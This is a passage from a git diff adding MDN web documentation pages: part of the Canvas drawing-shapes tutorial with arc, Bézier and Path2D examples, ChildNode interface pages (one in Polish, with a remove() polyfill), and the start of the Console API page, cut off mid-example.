+<p>The two <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for"><code>for</code> loops</a> are for looping through the rows and columns of arcs. For each arc, we start a new path by calling <code>beginPath()</code>. In the code, each of the parameters for the arc is in a variable for clarity, but you wouldn't necessarily do that in real life.</p> + +<p>The <code>x</code> and <code>y</code> coordinates should be clear enough. <code>radius</code> and <code>startAngle</code> are fixed. The <code>endAngle</code> starts at 180 degrees (half a circle) in the first column and is increased by steps of 90 degrees, culminating in a complete circle in the last column.</p> + +<p>The statement for the <code>clockwise</code> parameter results in the first and third row being drawn as clockwise arcs and the second and fourth row as counterclockwise arcs. Finally, the <code>if</code> statement makes the top half stroked arcs and the bottom half filled arcs.</p> + +<div class="note"> +<p><strong>Note:</strong> This example requires a slightly larger canvas than the others on this page: 150 x 200 pixels.</p> +</div> + +<div class="hidden"> +<pre class="brush: html"><html> + <body onload="draw();"> + <canvas id="canvas" width="150" height="200"></canvas> + </body> +</html> +</pre> +</div> + +<pre class="brush: js;highlight[16]">function draw() { + var canvas = document.getElementById('canvas'); + if (canvas.getContext){ + var ctx = canvas.getContext('2d'); + + for(var i=0;i<4;i++){ + for(var j=0;j<3;j++){ + ctx.beginPath(); + var x = 25+j*50; // x coordinate + var y = 25+i*50; // y coordinate + var radius = 20; // Arc radius + var startAngle = 0; // Starting point on circle + var endAngle = Math.PI+(Math.PI*j)/2; // End point on circle + var anticlockwise = i%2==0 ? false : true; // clockwise or anticlockwise + + ctx.arc(x, y, radius, startAngle, endAngle, anticlockwise); + + if (i>1){ + ctx.fill(); + } else { + ctx.stroke(); + } + } + } + } +} +</pre> + +<p>{{EmbedLiveSample("Arcs", 160, 210, "https://mdn.mozillademos.org/files/204/Canvas_arc.png")}}</p> + +<h3 id="Bezier_and_quadratic_curves">Bezier and quadratic curves</h3> + +<p>The next type of paths available are <a class="external" href="http://en.wikipedia.org/wiki/B%C3%A9zier_curve" rel="external" title="http://en.wikipedia.org/wiki/B%C3%A9zier_curve">Bézier curves</a>, available in both cubic and quadratic varieties. These are generally used to draw complex organic shapes.</p> + +<dl> + <dt>{{domxref("CanvasRenderingContext2D.quadraticCurveTo", "quadraticCurveTo(cp1x, cp1y, x, y)")}}</dt> + <dd>Draws a quadratic Bézier curve from the current pen position to the end point specified by <code>x</code> and <code>y</code>, using the control point specified by <code>cp1x</code> and <code>cp1y</code>.</dd> + <dt>{{domxref("CanvasRenderingContext2D.bezierCurveTo", "bezierCurveTo(cp1x, cp1y, cp2x, cp2y, x, y)")}}</dt> + <dd>Draws a cubic Bézier curve from the current pen position to the end point specified by <code>x</code> and <code>y</code>, using the control points specified by (<code>cp1x</code>, <code>cp1y</code>) and (cp2x, cp2y).</dd> +</dl> + +<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/223/Canvas_curves.png" style="float: right; height: 190px; width: 190px;">The difference between these can best be described using the image on the right. A quadratic Bézier curve has a start and an end point (blue dots) and just one <strong>control point</strong> (indicated by the red dot) while a cubic Bézier curve uses two control points.</p> + +<p>The <code>x</code> and <code>y</code> parameters in both of these methods are the coordinates of the end point. <code>cp1x</code> and <code>cp1y</code> are the coordinates of the first control point, and <code>cp2x</code> and <code>cp2y</code> are the coordinates of the second control point.</p> + +<p>Using quadratic and cubic Bézier curves can be quite challenging, because unlike vector drawing software like Adobe Illustrator, we don't have direct visual feedback as to what we're doing. This makes it pretty hard to draw complex shapes. In the following example, we'll be drawing some simple organic shapes, but if you have the time and, most of all, the patience, much more complex shapes can be created.</p> + +<p>There's nothing very difficult in these examples. In both cases we see a succession of curves being drawn which finally result in a complete shape.</p> + +<h4 id="Quadratic_Bezier_curves">Quadratic Bezier curves</h4> + +<p>This example uses multiple quadratic Bézier curves to render a speech balloon.</p> + +<div class="hidden"> +<pre class="brush: html"><html> + <body onload="draw();"> + <canvas id="canvas" width="150" height="150"></canvas> + </body> +</html> +</pre> +</div> + +<pre class="brush: js;highlight[9,10,11,12,13,14]">function draw() { + var canvas = document.getElementById('canvas'); + if (canvas.getContext) { + var ctx = canvas.getContext('2d'); + + // Quadratric curves example + ctx.beginPath(); + ctx.moveTo(75,25); + ctx.quadraticCurveTo(25,25,25,62.5); + ctx.quadraticCurveTo(25,100,50,100); + ctx.quadraticCurveTo(50,120,30,125); + ctx.quadraticCurveTo(60,120,65,100); + ctx.quadraticCurveTo(125,100,125,62.5); + ctx.quadraticCurveTo(125,25,75,25); + ctx.stroke(); + } +} +</pre> + +<p>{{EmbedLiveSample("Quadratic_Bezier_curves", 160, 160, "https://mdn.mozillademos.org/files/243/Canvas_quadratic.png")}}</p> + +<h4 id="Cubic_Bezier_curves">Cubic Bezier curves</h4> + +<p>This example draws a heart using cubic Bézier curves.</p> + +<div class="hidden"> +<pre class="brush: html"><html> + <body onload="draw();"> + <canvas id="canvas" width="150" height="150"></canvas> + </body> +</html> +</pre> +</div> + +<pre class="brush: js;highlight[9,10,11,12,13,14]">function draw() { + var canvas = document.getElementById('canvas'); + if (canvas.getContext){ + var ctx = canvas.getContext('2d'); + + // Quadratric curves example + ctx.beginPath(); + ctx.moveTo(75,40); + ctx.bezierCurveTo(75,37,70,25,50,25); + ctx.bezierCurveTo(20,25,20,62.5,20,62.5); + ctx.bezierCurveTo(20,80,40,102,75,120); + ctx.bezierCurveTo(110,102,130,80,130,62.5); + ctx.bezierCurveTo(130,62.5,130,25,100,25); + ctx.bezierCurveTo(85,25,75,37,75,40); + ctx.fill(); + } +} +</pre> + +<p>{{EmbedLiveSample("Cubic_Bezier_curves", 160, 160, "https://mdn.mozillademos.org/files/207/Canvas_bezier.png")}}</p> + +<h3 id="Rectangles">Rectangles</h3> + +<p>In addition to the three methods we saw in {{anch("Drawing rectangles")}}, which draw rectangular shapes directly to the canvas, there's also the <code>rect()</code> method, which adds a rectangular path to a currently open path.</p> + +<dl> + <dt>{{domxref("CanvasRenderingContext2D.bezierCurveTo", "rect(x, y, width, height)")}}</dt> + <dd>Draws a rectangle whose top-left corner is specified by (<code>x</code>, <code>y</code>) with the specified <code>width</code> and <code>height</code>.</dd> +</dl> + +<p>When this method is executed, the <code>moveTo()</code> method is automatically called with the parameters (0,0). In other words, the current pen position is automatically reset to the default coordinates.</p> + +<h3 id="Making_combinations">Making combinations</h3> + +<p>So far, each example on this page has used only one type of path function per shape. However, there's no limitation to the number or types of paths you can use to create a shape. So in this final example, let's combine all of the path functions to make a set of very famous game characters.</p> + +<div class="hidden"> +<pre class="brush: html"><html> + <body onload="draw();"> + <canvas id="canvas" width="150" height="150"></canvas> + </body> +</html> +</pre> +</div> + +<pre class="brush: js">function draw() { + var canvas = document.getElementById('canvas'); + if (canvas.getContext){ + var ctx = canvas.getContext('2d'); + + roundedRect(ctx,12,12,150,150,15); + roundedRect(ctx,19,19,150,150,9); + roundedRect(ctx,53,53,49,33,10); + roundedRect(ctx,53,119,49,16,6); + roundedRect(ctx,135,53,49,33,10); + roundedRect(ctx,135,119,25,49,10); + + ctx.beginPath(); + ctx.arc(37,37,13,Math.PI/7,-Math.PI/7,false); + ctx.lineTo(31,37); + ctx.fill(); + + for(var i=0;i<8;i++){ + ctx.fillRect(51+i*16,35,4,4); + } + + for(i=0;i<6;i++){ + ctx.fillRect(115,51+i*16,4,4); + } + + for(i=0;i<8;i++){ + ctx.fillRect(51+i*16,99,4,4); + } + + ctx.beginPath(); + ctx.moveTo(83,116); + ctx.lineTo(83,102); + ctx.bezierCurveTo(83,94,89,88,97,88); + ctx.bezierCurveTo(105,88,111,94,111,102); + ctx.lineTo(111,116); + ctx.lineTo(106.333,111.333); + ctx.lineTo(101.666,116); + ctx.lineTo(97,111.333); + ctx.lineTo(92.333,116); + ctx.lineTo(87.666,111.333); + ctx.lineTo(83,116); + ctx.fill(); + + ctx.fillStyle = "white"; + ctx.beginPath(); + ctx.moveTo(91,96); + ctx.bezierCurveTo(88,96,87,99,87,101); + ctx.bezierCurveTo(87,103,88,106,91,106); + ctx.bezierCurveTo(94,106,95,103,95,101); + ctx.bezierCurveTo(95,99,94,96,91,96); + ctx.moveTo(103,96); + ctx.bezierCurveTo(100,96,99,99,99,101); + ctx.bezierCurveTo(99,103,100,106,103,106); + ctx.bezierCurveTo(106,106,107,103,107,101); + ctx.bezierCurveTo(107,99,106,96,103,96); + ctx.fill(); + + ctx.fillStyle = "black"; + ctx.beginPath(); + ctx.arc(101,102,2,0,Math.PI*2,true); + ctx.fill(); + + ctx.beginPath(); + ctx.arc(89,102,2,0,Math.PI*2,true); + ctx.fill(); + } +} + +// A utility function to draw a rectangle with rounded corners. + +function roundedRect(ctx,x,y,width,height,radius){ + ctx.beginPath(); + ctx.moveTo(x,y+radius); + ctx.lineTo(x,y+height-radius); + ctx.arcTo(x,y+height,x+radius,y+height,radius); + ctx.lineTo(x+width-radius,y+height); + ctx.arcTo(x+width,y+height,x+width,y+height-radius,radius); + ctx.lineTo(x+width,y+radius); + ctx.arcTo(x+width,y,x+width-radius,y,radius); + ctx.lineTo(x+radius,y); + ctx.arcTo(x,y,x,y+radius,radius); + ctx.stroke(); +} +</pre> + +<p>The resulting image looks like this:</p> + +<p>{{EmbedLiveSample("Making_combinations", 160, 160, "https://mdn.mozillademos.org/files/9849/combinations.png")}}</p> + +<p>We won't go over this in detail, since it's actually surprisingly simple. The most important things to note are the use of the <code>fillStyle</code> property on the drawing context, and the use of a utility function (in this case <code>roundedRect()</code>). Using utility functions for bits of drawing you do often can be very helpful and reduce the amount of code you need, as well as its complexity.</p> + +<p>We'll take another look at <code>fillStyle</code>, in more detail, later in this tutorial. Here, all we're doing is using it to change the fill color for paths from the default color of black to white, and then back again.</p> + +<h2 id="Path2D_objects">Path2D objects</h2> + +<p>As we have seen in the last example, there can be a series of paths and drawing commands to draw objects onto your canvas. To simplify the code and to improve performance, the {{domxref("Path2D")}} object, available in recent versions of browsers, lets you cache or record these drawing commands. You are able to play back your paths quickly.<br> + Lets see how we can construct a <code>Path2D</code> object:</p> + +<dl> + <dt>{{domxref("Path2D.Path2D", "Path2D()")}}</dt> + <dd>The <code><strong>Path2D()</strong></code> constructor returns a newly instantiated <code>Path2D</code> object, optionally with another path as an argument (creates a copy), or optionally with a string consisting of <a href="/en-US/docs/Web/SVG/Tutorial/Paths">SVG path</a> data.</dd> +</dl> + +<pre class="brush: js">new Path2D(); // empty path object +new Path2D(path); // copy from another Path2D object +new Path2D(d); // path from SVG path data</pre> + +<p>All <a href="/en-US/docs/Web/API/CanvasRenderingContext2D#Paths">path methods</a> like <code>moveTo</code>, <code>rect</code>, <code>arc</code> or <code>quadraticCurveTo</code>, etc., which we got to know above, are available on <code>Path2D</code> objects.</p> + +<p>The <code>Path2D</code> API also adds a way to combine paths using the <code>addPath</code> method. This can be useful when you want to build objects from several components, for example.</p> + +<dl> + <dt>{{domxref("Path2D.addPath", "Path2D.addPath(path [, transform])")}}</dt> + <dd>Adds a path to the current path with an optional transformation matrix.</dd> +</dl> + +<h3 id="Path2D_example">Path2D example</h3> + +<p>In this example, we are creating a rectangle and a circle. Both are stored as a <code>Path2D</code> object, so that they are available for later usage. With the new <code>Path2D</code> API, several methods got updated to optionally accept a <code>Path2D</code> object to use instead of the current path. Here, <code>stroke</code> and <code>fill</code> are used with a path argument to draw both objects onto the canvas, for example.</p> + +<div class="hidden"> +<pre class="brush: html"><html> + <body onload="draw();"> + <canvas id="canvas" width="130" height="100"></canvas> + </body> +</html> +</pre> +</div> + +<pre class="brush: js;highlight[6,9]">function draw() { + var canvas = document.getElementById('canvas'); + if (canvas.getContext){ + var ctx = canvas.getContext('2d'); + + var rectangle = new Path2D(); + rectangle.rect(10, 10, 50, 50); + + var circle = new Path2D(); + circle.moveTo(125, 35); + circle.arc(100, 35, 25, 0, 2 * Math.PI); + + ctx.stroke(rectangle); + ctx.fill(circle); + } +} +</pre> + +<p>{{EmbedLiveSample("Path2D_example", 130, 110, "https://mdn.mozillademos.org/files/9851/path2d.png")}}</p> + +<h3 id="Using_SVG_paths">Using SVG paths</h3> + +<p>Another powerful feature of the new canvas <code>Path2D</code> API is using <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial/Paths">SVG path data</a> to initialize paths on your canvas. This might allow you to pass around path data and re-use them in both, SVG and canvas.</p> + +<p>The path will move to point (<code>M10 10</code>) and then move horizontally 80 points to the right (<code>h 80</code>), then 80 points down (<code>v 80</code>), then 80 points to the left (<code>h -80</code>), and then back to the start (<code>z</code>). You can see this example on the <a href="/en-US/docs/Web/API/Path2D.Path2D#Using_SVG_paths"><code>Path2D</code> constructor</a> page.</p> + +<pre class="brush: js;">var p = new Path2D("M10 10 h 80 v 80 h -80 Z");</pre> + +<div>{{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_usage", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}</div> diff --git a/files/pl/web/api/childnode/index.html b/files/pl/web/api/childnode/index.html new file mode 100644 index 0000000000..f10d177d3c --- /dev/null +++ b/files/pl/web/api/childnode/index.html @@ -0,0 +1,190 @@ +--- +title: ChildNode +slug: Web/API/ChildNode +tags: + - API + - DOM + - Experimental + - Interface + - NeedsTranslation + - Node + - TopicStub +translation_of: Web/API/ChildNode +--- +<div>{{APIRef("DOM")}}</div> + +<p>The <code><strong>childNodes</strong></code> interface contains methods that are particular to {{domxref("Node")}} objects that can have a parent.</p> + +<p><code>childNodes</code> is a raw interface and no object of this type can be created; it is implemented by {{domxref("Element")}}, {{domxref("DocumentType")}}, and {{domxref("CharacterData")}} objects.</p> + +<h2 id="Properties">Properties</h2> + +<p><em>There are neither inherited, nor specific properties.</em></p> + +<h2 id="Methods">Methods</h2> + +<p><em>There are no inherited methods.</em></p> + +<dl> + <dt>{{domxref("childNodes.remove()")}} {{experimental_inline}}</dt> + <dd>Removes this <code>childNodes</code> from the children list of its parent.</dd> + <dt>{{domxref("childNodes.before()")}} {{experimental_inline}}</dt> + <dd>Inserts a set of {{domxref("Node")}} or {{domxref("DOMString")}} objects in the children list of this <code>childNodes</code>'s parent, just before this <code>childNodes</code>. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.</dd> + <dt>{{domxref("childNodes.after()")}} {{experimental_inline}}</dt> + <dd>Inserts a set of {{domxref("Node")}} or {{domxref("DOMString")}} objects in the children list of this <code>childNodes</code>'s parent, just after this <code>childNodes</code>. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.</dd> + <dt>{{domxref("childNodes.replaceWith()")}} {{experimental_inline}}</dt> + <dd>Replaces this <code>childNodes</code> in the children list of its parent with a set of {{domxref("Node")}} or {{domxref("DOMString")}} objects. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.</dd> +</dl> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#interface-childnode', 'childNodes')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Split the <code>ElementTraversal</code> interface in {{domxref("ParentNode")}} and <code>childNodes</code>. <code>previousElementSibling</code> and <code>nextElementSibling</code> are now defined on the latter. The {{domxref("CharacterData")}} and {{domxref("DocumentType")}} implemented the new interfaces. Added the <code>remove()</code>, <code>before()</code>, <code>after()</code> and <code>replaceWith()</code> methods.</td> + </tr> + <tr> + <td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}</td> + <td>{{Spec2('Element Traversal')}}</td> + <td>Added the initial definition of its properties to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td> + </tr> + </tbody> +</table> + +<h2 id="Polyfill">Polyfill</h2> + +<p>External on github: <a href="https://github.com/seznam/JAK/blob/master/lib/polyfills/childNode.js">childNode.js</a></p> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{ CompatibilityTable }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support (on {{domxref("Element")}})</td> + <td>{{CompatChrome(1.0)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop(23)}}</td> + <td>9.0</td> + <td>10.0</td> + <td>4.0</td> + </tr> + <tr> + <td>Support on {{domxref("DocumentType")}} and {{domxref("CharacterData")}} {{experimental_inline}}</td> + <td>{{CompatChrome(23.0)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoDesktop(23)}}</td> + <td>{{CompatNo}}</td> + <td>16.0</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td><code>remove()</code>{{experimental_inline}}</td> + <td>{{CompatChrome(29.0)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop(23)}}</td> + <td>{{CompatNo}}</td> + <td>16.0</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td><code>before()</code>, <code>after()</code>, and <code>replaceWith()</code> {{experimental_inline}}</td> + <td>{{CompatChrome(54.0)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoDesktop(49)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatOpera(39)}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Android Webview</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support (on {{domxref("Element")}})</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile(23)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>10.0</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>Support on {{domxref("DocumentType")}} and {{domxref("CharacterData")}} {{experimental_inline}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoMobile(23)}}</td> + <td>{{CompatNo}}</td> + <td>16.0</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>remove()</code>{{experimental_inline}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile(23)}}</td> + <td>{{CompatNo}}</td> + <td>16.0</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>before()</code>, <code>after()</code>, and <code>replaceWith()</code> {{experimental_inline}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(54.0)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoMobile(49)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatOperaMobile(39)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(54.0)}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>The {{domxref("ParentNode")}} pure interface.</li> + <li> + <div class="syntaxbox">Object types implementing this pure interface: {{domxref("CharacterData")}}, {{domxref("Element")}}, and {{domxref("DocumentType")}}.</div> + </li> +</ul> diff --git a/files/pl/web/api/childnode/remove/index.html b/files/pl/web/api/childnode/remove/index.html new file mode 100644 index 0000000000..377e529db2 --- /dev/null +++ b/files/pl/web/api/childnode/remove/index.html @@ -0,0 +1,91 @@ +--- +title: ChildNode.remove() +slug: Web/API/ChildNode/remove +translation_of: Web/API/ChildNode/remove +--- +<div>{{APIRef("DOM")}}</div> + +<p>Metoda <code><strong>ChildNode.remove()</strong></code> usuwa obiekt z drzewa, do którego należy.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><em>node</em>.remove(); +</pre> + +<h2 id="Przykład">Przykład</h2> + +<h3 id="Użycie_remove()">Użycie <code>remove()</code></h3> + +<pre class="brush: html"><div id="div-01">To jest div-01</div> +<div id="div-02">To jest div-02</div> +<div id="div-03">To jest div-03</div> +</pre> + +<pre class="brush: js">var el = document.getElementById('div-02'); +el.remove(); // Usuwa div z ID 'div-02' +</pre> + +<h3 id="ChildNode.remove()_jest_poza_zakresem"><code>ChildNode.remove()</code> jest poza zakresem</h3> + +<p>Metoda <code>remove()</code> nie wchodzi w zakres wyrażenia <code>with</code>. Zobacz {{jsxref("Symbol.unscopables")}}, aby uzyskać więcej informacji.</p> + +<pre class="brush: js">with(node) { + remove(); +} +// ReferenceError: remove is not defined </pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p>Można utworzyć polyfill metody <code>remove()</code> w Internet Explorer 9 (lub wyższej wersji) za pomocą następującego kodu: </p> + +<pre class="brush: js">// from:https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/remove()/remove().md +(function (arr) { + arr.forEach(function (item) { + if (item.hasOwnProperty('remove')) { + return; + } + Object.defineProperty(item, 'remove', { + configurable: true, + enumerable: true, + writable: true, + value: function remove() { + this.parentNode.removeChild(this); + } + }); + }); +})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-childnode-remove', 'ChildNode.remove')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('DOM4', '#dom-childnode-remove', 'ChildNode.remove')}}</td> + <td>{{Spec2('DOM4')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + +<div>{{Compat("api.ChildNode.remove")}}</div> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>The {{domxref("ChildNode")}} pure interface.</li> + <li> + <div class="syntaxbox">Object types implementing this pure interface: {{domxref("CharacterData")}}, {{domxref("Element")}}, and {{domxref("DocumentType")}}.</div> + </li> +</ul> diff --git a/files/pl/web/api/console/index.html b/files/pl/web/api/console/index.html new file mode 100644 index 0000000000..0e2b03ab60 --- /dev/null +++ b/files/pl/web/api/console/index.html @@ -0,0 +1,232 @@ +--- +title: Console +slug: Web/API/Console +translation_of: Web/API/Console +--- +<div>{{APIRef}}{{Non-standard_header}}</div> + +<p>The <code>console</code> object provides access to the browser's debugging console (e.g. the <a href="/en-US/docs/Tools/Web_Console">Web Console</a> in Firefox). The specifics of how it works vary from browser to browser, but there is a <em>de facto</em> set of features that are typically provided.</p> + +<p>The <code>console</code> can be accessed from any global object, {{domxref("Window")}} on browsing scopes, {{domxref("WorkerGlobalScope")}} and its specific variants in workers.</p> + +<p>This page documents the {{anch("Methods")}} available on the <code>console</code> object and gives a few {{anch("Usage")}} examples.</p> + +<h2 id="Methods">Methods</h2> + +<dl> + <dt>{{domxref("Console.assert()")}}</dt> + <dd>Log a message and stack trace to console if first argument is <code>false</code>.</dd> + <dt>{{domxref("Console.count()")}}</dt> + <dd>Log the number of times this line has been called with the given label.</dd> + <dt>{{domxref("Console.debug()")}} {{deprecated_inline}}</dt> + <dd>An alias for <code>log()</code>; this was added to improve compatibility with existing sites already using <code>debug()</code>. However, you should use {{domxref("console.log()")}} instead.</dd> + <dt>{{domxref("Console.dir()")}}</dt> + <dd>Displays an interactive listing of the properties of a specified JavaScript object. This listing lets you use disclosure triangles to examine the contents of child objects.</dd> + <dt>{{domxref("Console.error()")}}</dt> + <dd>Outputs an error message. You may use <a href="/en-US/docs/Web/API/console#Using_string_substitutions">string substitution</a> and additional arguments with this method.</dd> + <dt>{{domxref("Console._exception()")}}</dt> + <dd>An alias for <code>error();</code></dd> + <dt>{{domxref("Console.group()")}}</dt> + <dd>Creates a new inline <a href="/en-US/docs/Web/API/console#Using_groups_in_the_console">group</a>, indenting all following output by another level. To move back out a level, call <code>groupEnd()</code>.</dd> + <dt>{{domxref("Console.groupCollapsed()")}}</dt> + <dd>Creates a new inline <a href="/en-US/docs/Web/API/console#Using_groups_in_the_console">group</a>, indenting all following output by another level; unlike <code>group()</code>, this starts with the inline group collapsed, requiring the use of a disclosure button to expand it. To move back out a level, call <code>groupEnd()</code>.</dd> + <dt>{{domxref("Console.groupEnd()")}}</dt> + <dd>Exits the current inline <a href="/en-US/docs/Web/API/console#Using_groups_in_the_console">group</a>.</dd> + <dt>{{domxref("Console.info()")}}</dt> + <dd>Informative logging information. You may use <a href="/en-US/docs/Web/API/console#Using_string_substitutions">string substitution</a> and additional arguments with this method.</dd> + <dt>{{domxref("Console.log()")}}</dt> + <dd>For general output of logging information. You may use <a href="/en-US/docs/Web/API/console#Using_string_substitutions">string substitution</a> and additional arguments with this method.</dd> + <dt>{{domxref("Console.profile()")}}</dt> + <dd>Starts the <a href="/en-US/docs/Tools/Profiler">JavaScript profiler</a>. You can specify an optional label for the profile.</dd> + <dt>{{domxref("Console.profileEnd()")}}</dt> + <dd>Stops the profiler. You can see the resulting profile in the <a href="/en-US/docs/Tools/Profiler">JavaScript profiler</a>.</dd> + <dt>{{domxref("Console.table()")}}</dt> + <dd>Displays tabular data as a table.</dd> + <dt>{{domxref("Console.time()")}}</dt> + <dd>Starts a <a href="/en-US/docs/Web/API/console#Timers">timer</a> with a name specified as an input parameter. Up to 10,000 simultaneous timers can run on a given page.</dd> + <dt>{{domxref("Console.timeEnd()")}}</dt> + <dd>Stops the specified <a href="/en-US/docs/Web/API/console#Timers">timer</a> and logs the elapsed time in seconds since its start.</dd> + <dt>{{domxref("Console.trace()")}}</dt> + <dd>Outputs a <a href="/en-US/docs/Web/API/console#Stack_traces">stack trace</a>.</dd> + <dt>{{domxref("Console.warn()")}}</dt> + <dd>Outputs a warning message. You may use <a href="/en-US/docs/Web/API/console#Using_string_substitutions">string substitution</a> and additional arguments with this method.</dd> +</dl> + + +<h2 id="Usage" name="Usage">Usage</h2> + +<h3 id="Outputting_text_to_the_console" name="Outputting_text_to_the_console">Outputting text to the console</h3> + +<p>The most frequently-used feature of the console is logging of text and other data. There are four categories of output you can generate, using the {{domxref("console.log()")}}, {{domxref("console.info()")}}, {{domxref("console.warn()")}}, and {{domxref("console.error()")}} methods. Each of these results in output that's styled differently in the log, and you can use the filtering controls provided by your browser to only view the kinds of output that interest you.</p> + +<p>There are two ways to use each of the output methods; you can simply pass in a list of objects whose string representations get concatenated into one string then output to the console, or you can pass in a string containing zero or more substitution strings followed by a list of the objects with which to replace them.</p> + +<h4 id="Outputting_a_single_object">Outputting a single object</h4> + +<p>The simplest way to use the logging methods is to output a single object:</p> + +<pre class="brush: js">var someObject = { str: "Some text", id: 5 }; +console.log(someObject); +</pre> + +<p>The output looks something like this:</p> + +<pre>[09:27:13.475] ({str:"Some text", id:5})</pre> + +<h4 id="Outputting_multiple_objects">Outputting multiple objects</h4> + +<p>You can also output multiple objects by simply listing them when calling the logging method, like this:</p> + +<pre class="brush: js">var car = "Dodge Charger"; +var someObject = {str:"Some text", id:5}; +console.info("My first car was a", car, ". The object is: ", someObject);</pre> + +<p>This output will look like this:</p> + +<pre>[09:28:22.711] My first car was a Dodge Charger . The object is: ({str:"Some text", id:5}) +</pre> + +<h4 id="Using_string_substitutions">Using string substitutions</h4> + +<p>Gecko 9.0 {{geckoRelease("9.0")}} introduced support for string substitutions. When passing a string to one of the console object's methods that accepts a string, you may use these substitution strings:</p> + +<table class="standard-table" style="width: auto;"> + <tbody> + <tr> + <td class="header">Substitution string</td> + <td class="header">Description</td> + </tr> + <tr> + <td>%o</td> + <td>Outputs a hyperlink to a JavaScript object. Clicking the link opens an inspector.</td> + </tr> + <tr> + <td>%d or %i</td> + <td>Outputs an integer. Formatting is not yet supported.</td> + </tr> + <tr> + <td>%s</td> + <td>Outputs a string.</td> + </tr> + <tr> + <td>%f</td> + <td>Outputs a floating-point value. Formatting is not yet supported.</td> + </tr> + </tbody> +</table> + +<p>Each of these pulls the next argument after the format string off the parameter list. For example:</p> + +<pre>for (var i=0; i<5; i++) { + console.log("Hello, %s. You've called me %d times.", "Bob", i+1); +} +</pre> + +<p>The output looks like this:</p> + +<pre>[13:14:13.481] Hello, Bob. You've called me 1 times. +[13:14:13.483] Hello, Bob. You've called me 2 times. +[13:14:13.485] Hello, Bob. You've called me 3 times. +[13:14:13.487] Hello, Bob. You've called me 4 times. +[13:14:13.488] Hello, Bob. You've called me 5 times. +</pre> + +<h4 id="Styling_console_output">Styling console output</h4> + +<p>You can use the <code>"%c"</code> directive to apply a CSS style to console output:</p> + +<pre class="brush: js">console.log("%cMy stylish message", "color: red; font-style: italic");</pre> + +<div><img alt="" src="https://mdn.mozillademos.org/files/7739/console-style.png" style="display: block; height: 52px; margin-left: auto; margin-right: auto; width: 293px;"></div> + +<div>{{h3_gecko_minversion("Using groups in the console", "9.0")}}</div> + +<p>You can use nested groups to help organize your output by visually combining related material. To create a new nested block, call <code>console.group()</code>. The <code>console.groupCollapsed()</code> method is similar, but creates the new block collapsed, requiring the use of a disclosure button to open it for reading.</p> + +<div class="note"><strong>Note:</strong> Collapsed groups are not supported yet in Gecko; the <code>groupCollapsed()</code> method is the same as <code>group()</code> at this time.</div> + +<p class="note">To exit the current group, simply call <code>console.groupEnd()</code>.</p> + +<p class="note">For example, given this code:</p> + +<pre class="brush: js">console.log("This is the outer 